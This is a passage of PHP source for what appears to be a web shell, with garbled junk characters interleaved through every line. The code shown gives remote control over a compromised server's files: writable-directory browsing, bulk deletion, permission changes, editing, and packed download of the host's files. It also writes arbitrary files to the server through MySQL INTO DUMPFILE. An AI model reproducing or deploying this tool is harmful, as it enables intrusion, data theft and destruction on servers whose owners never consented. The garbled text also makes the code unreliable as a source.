    4 f& j6 U! B$ ^4 c' _8 @

  330. 4 d+ X2 ?' W0 O% V& [
  331.         // 打包下载0 p- W9 X0 @' F
  332.         elseif($doing == 'downrar') {  J9 s2 U0 l( H2 c+ H3 [; U& X
  333.                 if ($dl) {
    7 V4 H6 j8 W$ S5 }7 ]: [
  334.                         $dfiles='';
    4 }5 T8 p% ]9 S6 g0 ^
  335.                         foreach ($dl as $filepath => $value) {* a; g% G) T9 I4 U2 K' A
  336.                                 $dfiles.=$filepath.',';, m  U% ^7 @# X
  337.                         }1 D" G& `7 w; [& s1 O: \
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    2 }1 u6 U! U4 `8 ^5 g/ [
  339.                         $dl=explode(',',$dfiles);
    6 R0 f7 o' h, [) A
  340.                         $zip=new PHPZip($dl);
    3 i: y; [) s4 E0 t9 e; d
  341.                         $code=$zip->out;
    $ w+ {/ G" f) ~2 j. u
  342.                         header('Content-type: application/octet-stream');! P( w. V+ {* G- E8 m- d+ j" K
  343.                         header('Accept-Ranges: bytes');
    5 j7 }7 V3 O5 i
  344.                         header('Accept-Length: '.strlen($code));& b$ k7 n8 l  j5 |1 Y/ V" H, s
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
    5 h6 ~' T9 r0 g( t8 g) _: D
  346.                         echo $code;
    ; {4 z% Q0 z3 b. u2 b8 L
  347.                         exit;
    4 L6 k8 ~; }+ P' l
  348.                 } else {
    8 Q9 i8 c' L: i, Q& x* o  X
  349.                         m('Please select file(s)');2 S+ W7 _. o  w
  350.                 }" g4 N( n& v! n" g
  351.         }
    % K$ q) R/ D' o/ i% w" O

  352. ! T* L4 F3 X4 f2 h( _, S& b. ^
  353.         // 批量删除文件
    $ z; _3 m" W: t( I( W
  354.         elseif($doing == 'delfiles') {
    $ A+ N" h3 R$ Z8 q3 q' c
  355.                 if ($dl) {) O  o/ y  C) H+ t# S5 a# y1 a
  356.                         $dfiles='';* o7 q+ E& I$ [0 I  |
  357.                         $succ = $fail = 0;
    ! O" Q% D+ ^! C5 ]
  358.                         foreach ($dl as $filepath => $value) {3 W! ^9 r* z1 a
  359.                                 if (@unlink($filepath)) {
    % k# i( g" f6 P  n. X, T) L
  360.                                         $succ++;
    ) Q& c9 |; U2 A6 m' h. S
  361.                                 } else {
    8 t: M2 r. e( S5 C
  362.                                         $fail++;
    6 l- X6 E7 H9 D+ U9 M) k
  363.                                 }/ J3 L- s( }! M; E. _
  364.                         }
    4 m6 L5 f  O$ |3 E3 l. r# O+ U
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);% U1 q' t/ D( l1 I0 {- F
  366.                 } else {4 ~6 u. t' U: J) ~
  367.                         m('Please select file(s)');% }7 F9 i, n9 F2 l& f( Y( G
  368.                 }8 \5 d) l  R, d7 y2 a
  369.         }
    # l) _6 h  `; m/ Y+ X6 H

  370. 4 F4 b) |$ o) e) d% j
  371.         //操作完毕* j2 L( \( Y1 ~" n* G
  372.         formhead(array('name'=>'createdir'));$ G) n5 I; \7 b! {6 T, U* A
  373.         makehide('newdirname');, j8 B  }/ l- |% [
  374.         makehide('dir',$nowpath);
    2 r1 X" X' W( d4 u
  375.         formfoot();
    5 x/ \  Z/ o, Q: v1 Q6 k0 M
  376.         formhead(array('name'=>'fileperm'));* r' b9 l4 t  Y
  377.         makehide('newperm');
    1 ^0 u9 r' Z/ c* c6 q; _
  378.         makehide('pfile');
    $ |. y" F" s2 o! [$ S
  379.         makehide('dir',$nowpath);4 N& p' o! f/ G2 O
  380.         formfoot();2 G/ p& I- z# I* X6 a
  381.         formhead(array('name'=>'copyfile'));
    7 Q' {3 F. U- v3 `3 v; |: P
  382.         makehide('sname');* z. Y) s+ T' f$ E
  383.         makehide('tofile');8 w2 d  y% g) b' m7 r. Y
  384.         makehide('dir',$nowpath);+ F0 _* s6 u% j/ R3 @5 H
  385.         formfoot();
    ( N1 ~5 s$ I% e5 ?$ x3 ^
  386.         formhead(array('name'=>'rename'));
    8 C; z2 V/ m5 D. X! n# L9 Z
  387.         makehide('oldname');
    7 }/ Q& e7 I: O) b- ^8 `
  388.         makehide('newfilename');- n& ?5 f" f$ U1 N
  389.         makehide('dir',$nowpath);
    5 O) ]+ K6 n- R. t* r  @
  390.         formfoot();
    . t& t" S% ]- P' ^4 c
  391.         formhead(array('name'=>'fileopform'));+ u) {/ `4 h( u9 U# w
  392.         makehide('action');
    ) h/ X, q' d0 \7 s  [$ R
  393.         makehide('opfile');# x( G$ \" h# Z0 L' a/ _
  394.         makehide('dir');
    9 D" [5 E! h$ R! r5 w; n  y2 M8 y% o! Y
  395.         formfoot();
    6 Y" W2 u; v+ u& c% i! |" b+ L
  396. " ^+ n( E. X1 T3 h7 a
  397.         $free = @disk_free_space($nowpath);
    " ?6 U) T# q( Z1 a. M
  398.         !$free && $free = 0;
    2 ~3 b$ g' U0 X2 L3 v& p7 s- e% ^3 I
  399.         $all = @disk_total_space($nowpath);7 y2 h3 L- Q% I: g
  400.         !$all && $all = 0;
    " W' G  y" ~- i/ {) W9 \) B
  401.         $used = $all-$free;3 A" x2 A+ Z4 {* W
  402.         $used_percent = @round(100/($all/$free),2);- D4 k& I9 k7 y: h% Z
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');- F5 I9 W' `$ {% G
  404. 7 S: l7 W2 n9 x( w
  405. ?>
    / u/ T# G! W1 c+ d( J
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    / L0 j9 T. m6 Q, c& X
  407.   <form action="" method="post" id="godir" name="godir">7 n- n0 P9 H( o8 @
  408.   <tr>
    6 @' V! y3 p5 V( X1 _
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>/ C2 w9 }! k: @  X
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    / s3 q& m, M8 u
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>& }* ?0 C" Q+ U4 @; d+ H6 w2 n9 s
  412.   </tr># j; r! \% W* W8 X4 [! S
  413.   </form>
    0 _$ T+ X, z# Y' `
  414. </table>  u( n- H; l# |' K, h& U/ A
  415. <script type="text/javascript">0 [! S+ |/ K! o0 G# W
  416. function createdir(){- f% x- |6 ~& {7 e4 F: b" T$ X# e
  417.         var newdirname;1 c: @$ c8 L, D, a  v
  418.         newdirname = prompt('Please input the directory name:', '');" m* T4 l3 \* w* w) W' {" a
  419.         if (!newdirname) return;
    5 f+ z' x' A" `% s
  420.         $('createdir').newdirname.value=newdirname;
    % X( G6 F# M  f
  421.         $('createdir').submit();
    0 V, u! q9 {4 S4 E8 q
  422. }! V. y+ x& ~+ c7 ]) q
  423. function fileperm(pfile){
    3 V& d  a. w' @0 [5 A4 H& W
  424.         var newperm;
    % |1 Q: ^3 V. S5 O9 n: J0 P* j% A
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');: n- g4 w: e% b/ @. K
  426.         if (!newperm) return;
    2 e9 p2 M, c1 h6 o* b/ i7 n* X6 l- H
  427.         $('fileperm').newperm.value=newperm;
    * p- h" M$ `0 |- B" W0 j9 C
  428.         $('fileperm').pfile.value=pfile;
    . t# I# U3 Q6 f' T% ~8 X  }2 ^- g
  429.         $('fileperm').submit();9 V: }1 V2 E/ z8 y' b7 {5 X
  430. }/ ?0 |- D0 D# C. s, c
  431. function copyfile(sname){
    " o2 `2 ^: R# x/ c
  432.         var tofile;) p' Q8 Y; N9 R" |1 N
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    4 U; f, y" ^! x2 e/ u# J5 b7 j" ^
  434.         if (!tofile) return;, e! D2 c9 {0 Z8 G: u& e
  435.         $('copyfile').tofile.value=tofile;
    * v- m! o: _0 c3 B2 w9 u% u( k
  436.         $('copyfile').sname.value=sname;
    + e+ h# q2 I+ z
  437.         $('copyfile').submit();
    ; \2 {+ z! T. {! f/ H& y
  438. }/ K4 m/ y* i6 f1 d2 ]. k
  439. function rename(oldname){+ j1 |0 r# T) g( V6 m8 x4 b  O
  440.         var newfilename;; i( X; W9 M8 N' N! m
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');) o2 g: Q- f' c/ S
  442.         if (!newfilename) return;
    9 m( Z5 m8 k& N$ `1 \6 z
  443.         $('rename').newfilename.value=newfilename;
    8 V1 T+ C/ c* I+ c0 x$ M& `% i" ^
  444.         $('rename').oldname.value=oldname;* M" {; f8 v3 n
  445.         $('rename').submit();$ H3 O# [$ Y4 H+ J
  446. }
    6 p) \" |7 ]6 [7 s2 s
  447. function dofile(doing,thefile,m){
    & B! v" ?' n- b, |$ }% G  d& ?- u8 O
  448.         if (m && !confirm(m)) {
    1 |6 |: C$ h+ M) C
  449.                 return;" R4 t# N: g, D: k3 \, R+ _2 z
  450.         }
    4 ]. Z4 O' x+ d6 w8 A
  451.         $('filelist').doing.value=doing;
    ' [5 |! O7 G6 l
  452.         if (thefile){0 U- v1 i7 [; h9 Q8 Z! }
  453.                 $('filelist').thefile.value=thefile;
    0 y- Y! b! t% R$ T* u
  454.         }
    $ S) }& x- l% r# U  H+ P
  455.         $('filelist').submit();
    4 ]: C4 W& q: P, O9 {8 {* F
  456. }! O$ ]0 }) W- H3 `
  457. function createfile(nowpath){
    % M9 o9 v+ G! Q: J
  458.         var filename;
    , P8 \' u2 j" c0 n% O6 @/ _
  459.         filename = prompt('Please input the file name:', '');
    ' I) c" r0 R1 @* l7 D  t
  460.         if (!filename) return;  d' W" r+ J* Z  ]3 ^2 Z
  461.         opfile('editfile',nowpath + filename,nowpath);( o+ E; u- Y0 E7 s/ d
  462. }
    1 x) M  B! u/ e+ O5 M! F0 S  X
  463. function opfile(action,opfile,dir){
    ! e9 B4 P3 Y0 `/ _$ n+ A4 U
  464.         $('fileopform').action.value=action;
    9 B( e( E" `. J( ~0 B# |
  465.         $('fileopform').opfile.value=opfile;
    8 G0 G3 G) x% U1 a# `
  466.         $('fileopform').dir.value=dir;0 _9 A$ d2 a1 D8 o! b! ~6 w+ y
  467.         $('fileopform').submit();# L, ~& a  A' }& G
  468. }
    - b0 o. D: Z# ^, q+ W
  469. function godir(dir,view_writable){
    9 z# p' _% x1 r- b( b. w
  470.         if (view_writable) {
      G4 g7 F  }8 Z6 C6 ?
  471.                 $('godir').view_writable.value=1;
    - Q% j- A" U6 Y* b
  472.         }
    4 W  n% p9 C2 T' O% G6 E
  473.         $('godir').dir.value=dir;3 S* |, v% s. A. f
  474.         $('godir').submit();0 @2 o2 e( P) k
  475. }2 r# f; p/ C! |5 {1 `9 x# B! Z
  476. </script>
    3 _& O" G6 ?/ _9 W, v$ f( a
  477.   <?php
    6 O) [/ k, u" t4 b% ?6 e7 X8 p
  478.         tbhead();
    7 k: @8 _# f% b. X
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    " m; o+ x6 a- O- e: l+ O
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');+ n! v9 ^0 f! F; f7 b- n: z- J/ F
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    ( f, \; W! E* z2 S
  482.         if ($view_writable) {7 J7 y$ ^4 r. k3 _6 n. K9 T
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    3 _  }! [% B3 \; J/ O
  484.         } else {
    ; h7 ?# r( v/ Q, |
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    $ V9 j  [. \' E/ b5 z4 c3 v7 v2 q  q2 \( E
  486.         }& m5 X8 n! v' d
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    2 n5 M" U* _: o9 q
  488.         if (IS_WIN && IS_COM) {5 }( A; I  \  N  `3 \
  489.                 $obj = new COM('scripting.filesystemobject');; Q2 N' g1 F0 S9 q( i; ^( y* x3 ^
  490.                 if ($obj && is_object($obj)) {
    4 m9 b  K3 e7 A6 l0 E; Q) ?. m
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    ! k( Q/ ^, h# q) [
  492.                         foreach($obj->Drives as $drive) {
    1 z7 q5 q; [8 g" y2 x6 l
  493.                                 if ($drive->DriveType == 2) {; E# ], Z! G9 e% W8 l) W; K; o
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'' s0 R, s; L5 \4 \# z; k
  495. Free:'.sizecount($drive->FreeSpace).'+ z5 W/ Q" j! U1 G
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    7 \- |4 G9 ~0 `5 W0 r
  497.                                 } else {! z' A+ B" E8 T( q; e+ m/ V
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');, U- p( ^% B# n( ^
  499.                                 }* ]/ u% U% i9 {: r/ E7 y: ?% z
  500.                         }
    ; c! D! ^7 X8 Y6 ^7 i6 u' x. P
  501.                 }
    0 t6 g3 ?7 y' E" o
  502.         }
    # z8 B% m# u& D6 R
  503. , n- k6 u" Z! A- R' K
  504.         p('</td></tr></form>');. {2 o6 V( l  c7 b' n6 y& u( b2 s
  505. / j. M1 o, m; B6 c! F3 y
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    2 }0 F5 _9 r# Q6 z2 p; Q. }; X+ f

  507. ! \9 K! C% O6 |- O% @; D
  508.         //查看所有可写文件和目录& z" y$ ^4 H. F) \( h
  509.         $dirdata=array();+ o3 f2 V6 x5 g) c" R8 M
  510.         $filedata=array();5 u/ S, A% V$ }5 ?

  511. ( s8 Q. F" {1 _% S
  512.         if ($view_writable) {
    5 b) N, {) J9 e) K" Z
  513.                 $dirdata = GetList($nowpath);
    6 Q! ~% f: o5 ^; H+ a4 X/ {
  514.         } else {4 `4 c6 C7 f5 k7 h. `
  515.                 // 目录列表- g# D6 a/ P1 Q* b
  516.                 $dirs=@opendir($dir);
    ) ?. J; {" y, Z2 m; e5 g3 N
  517.                 while ($file=@readdir($dirs)) {: _- Y6 X" p, r. b
  518.                         $filepath=$nowpath.$file;
    - s3 ^1 U# H/ l3 ?2 j- H2 _
  519.                         if(@is_dir($filepath)){
    / X; Y( ~+ w* B% m/ ^
  520.                                 $dirdb['filename']=$file;
    8 Z. O" C% e( S
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
      [$ Q& w: B* B/ M1 j  u
  522.                                 $dirdb['dirchmod']=getChmod($filepath);4 u( @# j9 t# P' J. y
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    2 E; N, t: [9 [0 w1 w
  524.                                 $dirdb['fileowner']=getUser($filepath);
    6 A, o5 l6 v6 h& b
  525.                                 $dirdb['dirlink']=$nowpath;
    , P, n& h/ v1 @5 H
  526.                                 $dirdb['server_link']=$filepath;
    , P; M- }3 X5 d2 ?
  527.                                 $dirdb['client_link']=ue($filepath);
    3 W0 f  P" |$ l& s# m( x/ ]
  528.                                 $dirdata[]=$dirdb;5 w# V! K; @  U2 x
  529.                         } else {                ' }) ^" a+ v! \6 q4 O" A
  530.                                 $filedb['filename']=$file;3 f! Y( [  q4 T( q$ ~& \1 a
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    * H, W0 T3 a) h- m4 z
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));. F2 y, ^, Z2 z- D3 A$ E5 ]" [! l
  533.                                 $filedb['filechmod']=getChmod($filepath);5 V1 h* {$ R1 x* O; O
  534.                                 $filedb['fileperm']=getPerms($filepath);; c& i: n) r  w! Z& }
  535.                                 $filedb['fileowner']=getUser($filepath);; Q0 d+ N  I$ v* `+ i" M2 ?
  536.                                 $filedb['dirlink']=$nowpath;3 U. T+ @( }" a4 d9 J% k' T3 O$ K
  537.                                 $filedb['server_link']=$filepath;  W. I3 k+ n0 J2 p3 w. E. l
  538.                                 $filedb['client_link']=ue($filepath);, p$ |) T5 T5 H. Z1 z( Q& ?
  539.                                 $filedata[]=$filedb;
    " ^! R! U# X' I1 l" K* j8 ^
  540.                         }. w+ o! a/ M: H: q, J, ]) a
  541.                 }// while9 L) P) @/ b: s* f/ v6 m$ t
  542.                 unset($dirdb);6 W& o- K) t. u5 c
  543.                 unset($filedb);+ n) o' [; o  S4 o' F
  544.                 @closedir($dirs);
    7 ]& `* s, e  n- [. x$ H7 y- }
  545.         }  w  {4 e+ U7 Z/ ?( I4 ?0 W, N
  546.         @sort($dirdata);1 \: o" x1 _5 ^6 j0 [4 B
  547.         @sort($filedata);' E8 Y: P1 x. U1 p$ K8 S
  548.         $dir_i = '0';
    & n/ v9 S+ e) L, w% N* x
  549.         foreach($dirdata as $key => $dirdb){; i0 N& s* D, k' Y  ]$ s4 L( E
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {8 [. p# Q* f/ V0 G' M
  551.                         $thisbg = bg();3 ?* ], {- v6 _: i' k0 M/ p
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    9 j7 W# v& `( Z) B
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
    0 I/ g' s" v4 t+ [/ N
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');! ]1 x. z* Q9 ~5 c
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');5 C2 p/ j. S& s# c$ M
  556.                         p('<td nowrap>--</td>');
    2 h9 a: z" I' S# _& F" w! E$ _
  557.                         p('<td nowrap>');
    $ u* V* N1 Y1 U7 q
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    8 {. D4 }% @+ `) f" y3 ?0 m
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');- j; O& C, Q: _/ t+ W( _; x% q
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    ! h) V4 s) |2 {/ k  r4 E
  561.                         p('</tr>');- ~0 c- H! @3 C. T+ E. A: c! H- F
  562.                         $dir_i++;1 z4 X: y- g" ?1 {5 \8 U: N
  563.                 } else {- u+ R" s, `; W& p- Z1 r6 h, v1 [6 B
  564.                         if($dirdb['filename']=='..') {
    9 c$ V9 z, r- S0 e6 }" J2 n) i' u
  565.                                 p('<tr class='.bg().'>');: C, q9 s$ k4 R' V. j/ J- L/ _3 h
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    4 L- c- W3 L: I0 a( Z2 w0 _
  567.                                 p('</tr>');
    6 g# v2 {) ~0 o+ F. l+ k( R
  568.                         }
    # [/ T3 H* q8 S! U: O0 q6 ~
  569.                 }3 d# U7 _2 s' U" F/ X! Y/ _9 G
  570.         }( p/ p- g# f* y9 V. W4 p
  571. / {7 e. z6 B) Q; H: {, I) T0 u
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');: v1 d. o9 m- j' ^
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');: d, s( A4 t% O; B5 N+ z. l
  574.         makehide('action','file');! O6 p! M5 g; y4 ^( S4 A. b& J
  575.         makehide('thefile');- g4 u, V7 i1 _, ]; `2 I  \
  576.         makehide('doing');
    4 m: Q- i/ q% g
  577.         makehide('dir',$nowpath);
    - Z: x" {- z8 @' h/ L( v5 _
  578.         $file_i = '0';, z: |7 m) x9 j' E( s! a/ y
  579.         foreach($filedata as $key => $filedb){7 ^/ d8 g" d: E" M' F9 E3 {
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {+ A: _8 h8 Q8 p' A1 z
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
    ) V: Z8 e. ^# Y; J- C& \8 P: s- U
  582.                         $thisbg = bg();
    ! ?; v! x& I  ^8 e+ W6 b( U+ H
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    4 i/ d! t+ d$ f: y9 W! Q+ F, T" s
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');3 @$ y2 {% P# w: o# N4 _
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');9 N+ ^: K* @/ [5 Z
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');) Y4 F2 V0 q9 \
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');! f1 r2 }7 P& p( p$ G1 [' [: K
  588.                         p('<td nowrap>');
    ! ~: A# R, R8 @1 V. k; P/ W( [
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    4 I  K( |4 O* `
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    ; N7 h- ~4 R# e; c( X. ?6 M
  591.                         p('<td nowrap>');
    + @7 e+ b9 R  h. I
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');2 J7 l7 i% v5 o' @# g* b0 a
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
    : c% B- t- Z! S: G. O/ i# @
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
    % s* n0 C* o3 n
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');0 }5 w$ i2 i2 I! R  P4 Q
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
    3 U$ C$ q) h' M5 {: F
  597.                         p('</td></tr>');# B  e' I& w6 A1 h% |
  598.                         $file_i++;* m9 _! l- r9 O
  599.                 }- g- ^6 C4 Y5 }
  600.         }# C, I- O7 T1 R( H+ o
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
    4 y7 ~+ F. w) j9 N* V
  602.         p('</form></table>');+ R) B0 D! N+ t
  603. }// end dir: o- g- S+ M! l  `# o$ r6 i
  604. * v& {% P, O/ p: Y- ~& F6 I
  605. elseif ($action == 'sqlfile') {
    / {3 e+ Z8 x# c
  606.         if($doing=="mysqlupload"){# i- B' x4 s3 m! t! y' C' \  e% o# {" m
  607.                 $file = $_FILES['uploadfile'];" c: ]% D) l. ~0 m$ z3 p. }
  608.                 $filename = $file['tmp_name'];6 Z( _1 a% m' `* a4 w- i8 U
  609.                 if (file_exists($savepath)) {) \  s( d1 y: ^. F! o* T
  610.                         m('The goal file has already existed');
    4 o8 Q' z  _7 k- r1 U' u: Q* {
  611.                 } else {
    8 x% h" }5 s; h5 T8 ]2 A" X
  612.                         if(!$filename) {
    $ w: K; T  N0 w8 _( v7 _
  613.                                 m('Please choose a file');
    $ q' F: Q* ?2 v* K) f. C: ^
  614.                         } else {- n. L# U2 m+ v3 M$ q. j
  615.                                 $fp=@fopen($filename,'r');/ P  C" H! ~/ {  `' Q
  616.                                 $contents=@fread($fp, filesize($filename));
    ; |4 d/ D9 C3 g; q, D! E; m9 ^
  617.                                 @fclose($fp);
    5 K" M5 n3 s' O
  618.                                 $contents = bin2hex($contents);
    2 v  |7 \; f0 E' I7 N7 h
  619.                                 if(!$upname) $upname = $file['name'];
    ' F: T) z& V5 D" D/ A" I$ z8 ]9 `
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);2 b# a* t# d) s6 ~) W! V
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    $ z5 [: C5 j  H
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());( a+ c/ |- n% A/ w! X+ n
  623.                         }
    / ]% h. N0 V9 Z0 N7 ^( ]5 B
  624.                 }
    5 ?9 k+ l# M% V8 w" M7 \2 z
  625.         }
    & x- I8 t# |4 n8 H. q  }, c$ t
  626. ?>
    & L5 N6 H- W/ t( C0 P
  627. <script type="text/javascript">
    , V( w! T" S  ^
  628. function mysqlfile(doing){7 K6 ?+ J6 `* i4 {
  629.         if(!doing) return;- j( N4 P9 g* {4 p
  630.         $('doing').value=doing;$ l  a+ S" C0 w# J+ h/ J1 x( V
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    8 ~9 o7 S9 {, a
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;4 O# f: _" ]) |/ V2 D
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;. H5 z/ m% M+ |5 k" I# r
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;8 ?$ }6 T' b$ b) G& ]8 p# Q' l
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;& s. D" }2 b6 ~1 t. D% m
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;/ O) q. C" x7 C. K' Z3 S$ K
  637.         $('mysqlfile').submit();
    : `# t) a4 D3 g
  638. }6 w+ `, H, ~) L7 c: O% \/ Z/ T- X/ [
  639. </script>7 K0 T5 I5 _5 a: B+ e7 U
  640. <?php
    3 b/ m$ S+ t  L, h- k  C4 j- P$ o* ]
  641.         !$dbhost && $dbhost = 'localhost';6 i3 f: _4 s. |# Q; p
  642.         !$dbuser && $dbuser = 'root';0 a6 b6 ?4 a7 d8 ?3 @. L6 a
  643.         !$dbport && $dbport = '3306';
    / L$ l4 l. B% _) ?
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    ( b! H" t2 f7 U/ P( f9 X
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));0 n  A0 A$ Y+ l0 U/ V
  646.         makehide('action','sqlfile');5 x% E8 e( O% g% N0 Y. {
  647.         p('<p>');
    4 H1 O# B6 @' X1 r
  648.         p('DBHost:');8 @$ \6 u& J8 C2 \) I2 B8 @
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    6 `" w- y7 v7 B' K
  650.         p(':');% W! _% V, ~6 Y( {
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));( p1 c3 b( s6 l7 \& l( o
  652.         p('DBUser:');
    & t9 ?' b) w' Q
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    5 V) `5 w  |6 ]: y& m
  654.         p('DBPass:');
    ) w/ x9 b$ y, N, t1 _, r7 j
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    ( f" e& _$ n& I" Z8 ?1 L! ]; R4 }
  656.         p('DBName:');
    - ]' v% f: _; r) J0 i0 X' s) U3 |- _
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    ; z( e5 l3 [+ Z, T' `4 _  `  Q
  658.         p('DBCharset:');
    6 |- P4 p1 d1 y* P8 H) k
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));+ c5 @, J# @1 b, x/ `' Q
  660.         p('</p>');2 U1 {; _8 t) H) ?' t" M# [
  661.         formfoot();4 j% T: `# S2 e4 _( M( ?
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');! j- n5 m7 ?& `  Z  v3 u2 Z
  663.         p('<h2>Upload file</h2>');
    - t5 C" u, {0 c$ {
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');7 Y# h8 T8 l7 a2 b& H3 q
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    3 ]7 [, E7 ]( D2 j1 n1 L
  666.         p('<h2>Download file</h2>');" w+ c7 [( Y- g! n9 [$ ^! G
